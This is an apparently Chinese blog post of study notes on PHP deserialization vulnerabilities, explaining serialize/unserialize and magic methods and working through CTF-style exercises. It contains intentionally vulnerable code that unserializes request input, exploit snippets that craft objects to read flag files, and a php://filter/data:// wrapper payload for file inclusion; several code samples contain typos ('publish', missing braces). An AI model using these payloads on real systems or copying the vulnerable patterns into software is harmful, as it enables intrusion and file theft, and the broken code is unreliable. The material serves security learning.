网络安全学习笔记——反序列化漏洞

反序列化漏洞的存在可以直接执行恶意命令,对蓝队来说,十分致命

php反序列化漏洞原理

登录网站会和网站建立一个会话,会话里会有SESSID,SESSID保存在Cookies,Cookies可用于校验用户身份,当点击登录时,为了更多的用户有良好的使用体验,可以从软件和硬件两方面进行升级

在硬件方面可以购买主机,硬盘等

软件方面

主机:内存+硬盘(8+512),内存处理正在操作的东西,硬盘放操作完成的东西,固存也没有内存处理速度快,登录成功就会建立一个SESSION,并存储在内存里面,等待随时调用,登陆之后不购物的话,可以把SESSION经过序列化操作转化为字符串,然后存储到硬盘里面,购物的瞬间再把SESSION从硬盘里面拿出来,经过反序列化操作,把字符串转化为可使用的SESSION

php序列化函数为serialize,反序列化函数为unserialize

序列化——将一个对象转化为可以传输的字符串,回复为对象的过程称为反序列化

类和对象

类和对象:对象可以继承类的特征,也可以修改类的特征

序列化和反序列化函数

序列化是将数据结构或对象转换成二进制串的过程——是将数据分解成字节流,以便存储在文件中或在网络上传输的过程

反序列化就是打开字节流并重构对象

序列化的作用:

  1. 序列化是为了保存内存中的各种对象的状态,并且可以把保存的对象状态在读出来。
  2. 可以实现数据的持久化,在MVC模式中很有作用
  3. 对象数据的远程通信使用序列化与反序列化
  4. 对象序列化的作用:就是在传递和保存对象时,保证对象的完整性和可传递性。比如把一个对象保存成一个文件的时候需要实现序列化接口

1、用于将php代码(数组或对象)序列化为字符串,方便了存储和传输

<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
  
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
?>

2、unserialize反序列化函数

反序列化就是在适当的时候把这个字符串再转化成原来的变量使用

<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
  
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
 
//反序列化
$o = unserialize($s);
print_r($o);
//输出结果 Array ( [a] => Apple [b] => banana [c] => Coconut )
?>

<?php
class S{  // 创建一个类S
    public $test="pikachu";  //定义一个属性,publish是声明,声明当前的属性是公开的
    }
$s=new S();  //创建一个对象
serialize($s);  //把这个对象序列化
$a=serialize($s);   //序列化后赋值,此时$a是一个字符串,可以被打印
echo $a;  //就会成功打印————序列化后的字节序列:Object S对象 属性值 属性值对应的值

echo"</br>";  //进行反序列化
$b=unserialize($a);  //此时b是字符串a反序列化之后的对象
echo $b->test;  
var_dump($b);

echo $s->test;   //s是S的对象,可以调用当前S的所有属性和方法——可以打印Pikachu
echo $s;  //此时$s是对象,是个抽象概念,对象不能被直接打印

var_dump($s);   //详细查看s的变量的类型及值

?>

属性除了publish,还有private私有的,只有当前这个类的对象才能调用这个属性
protected受保护的,说明只有在这个类里面才能调用test属性

php中 ->、=>、$this->、:的区别

1、->引用一个类的属性(变量)、方法(函数),可以把->理解成调用的意思,如上例所示

2、=>用于定义数组:$arr1 =array(0=>'php',1=>'is',the=>'the')

3、$this->表示实例化后调用具体对象

4、: :  用来直接调用类中的属性或方法,没有实例化 ,eg:Echo 类::对象,直接打印

序列化方法

涉及的php函数如下,此类函数均会在某些条件下触发而不用手动调用:

1、__construct():当对象被创建时自动调用,构造函数—— 一般声明一些类的时候回调用此方法

2、__destruct():当对象销毁时调用——当执行一个销毁对象的操作就会执行,几个对象执行几次

3、__toString():当一个对象被当做一个字符串时使用——当打印对象的时候,程序就不会卡死

4、__sleep():在对象被序列化之前使用

5、__wakeup():在反序列化之后立即调用——先执行wakeup,再执行destruct——wakeup的级别最高,所以当先反序列化时,就会先执行__wakeup()方法

<?php
function __destruct()
{
    echo "destruct";  //打印一个对象的时候,自动销毁,打印以观测该函数有没有被执行
}
?>

漏洞代码构造

<?php
class A{
    var $test="demo";  //定义一个test属性,值为demo
    function __destruct()   //魔术方法,自动执行
    {
    echo $this->test;   //打印当前的test值————标志该方法是否成功执行了
    }
}

$a=$_GET['test'];   //接受一个test值
$a_unser=unserialize($a);   //test反序列化,$a_unser是一个对象

?>

新构造一个下面的类,然后运行之后把序列化的结果test属性,作为参数传入上述代码页面,test属性就会被新构造的对象的属性覆盖掉

<?php
class A{
    var $test ="nosery";  
}   //也可执行 var $cmd ="whoami"; 然后把运行后的字节序列传参,就可以获取对方的主机名

$a=new A;   新建的同一类下的对象,里面的test属性覆盖掉上面A的类里面属性
echo serialize($a);
?>

发现当前页面存在一个可控的序列化的漏洞,类里面有能够产生危害的函数或漏洞,然后就可以构造EXP,但class类要保持一致

传参可使用php编辑器去看要渗透的传参的执行结果

EXP作业

//<!--
class FileClass
{
    publish $filename='error.log';  // 属性
    publish function __toString()
    {
        return file_get_contents($this->filename);  //返回当前文件内容
    }

class User
{
    public $name='';
    public $age=0;    
    public $addr='';
    public function __toString()
    {
        return 'uesrname':'.$this->name.'</br>age:'.$this->age.'</br>addr:'.$this->addr;
    }
}
#参数可控
$obj=unserialize($_POST['uu']);  //变量obj是post传参后反序列化
echo $obj;
 -->

虽然有两个类,但是User类是一系列属性的拼接,用不上,所以可以直接当没有这个类,然后obj传参的话,就要传到FileClass类里面,然后要通过这个类获取flag

构造EXP——用不到的代码能删的删掉,可以防止产生一些意想不到的问题,序列化只序列化属性,不会序列化方法,所以方法直接复制即可

<?php
class FileClass
{
    publish $filename='flag.php'; 
}
$a=new FileClass;
echo serialize($a);
?>

然后复制执行结果,作为post的参数uu传入上述网页

万物皆可序列化

数组,字符串,对象等都可序列化

<?php
error_reporting(0);
include "flag.php";
$key="D0g3!!!";
$str=$_GET['str'];
if(unserialize($str)==="$key")  //双引号下是变量,单引号下是普通字符串,反序列化后值=D0g3
{
    echo"$flag";
}
show_source(_FILE_);
?>

EXP

<?php
$key="D0g3!!!";
echo serialize($key);  //打印key的序列化字节作为传参
?>

序列化后的结果str传参即可,因为上述代码的get传参为str

对字符串序列化没有什么意义,因为他本身就可以传输,本身不是抽象的

对数组序列化

<?php
$key=[1,2,3];
echo serialize($key);  //数组序列化后以array的a打头,键都在前,值都在后
?>

反序列化作业

<?php
$user=$_GET["user"];
$file=$_GET["file"];
$pass=$_GET["pass"];
if(isset($user)&&(file_get_content($user,'r')==="admin")){  //文件包含伪协议可绕过
echo "hello admin!</br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file);
$pass=unserialize($pass)};
echo $pass;
}
}else{    
    echo "you are not admin!";
}
?>

传参?user=data://text/plain,admin&pass=&file=php://filter/convert.base64-encode/resource=class.php

执行之后代码审计,此时读取index.php——因为页面源码不一定全,然后再进行代码审计

class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{   //f1a9.php————提示————直接包含不行,
    public $file  //有这个文件的话,就echo file_get_contents($this->file);打印文件内容
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";  //否则就返回__toString was called!字符串
    }
}
?>

构造EXP——在index.php里面包含class.php,就可以反序列化pass类,将序列化的结果传参pass,file=class.php

<?php
class Read{
    public $file="f1a9.php";
}

$a=new Read;
echo serialize($a);

?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值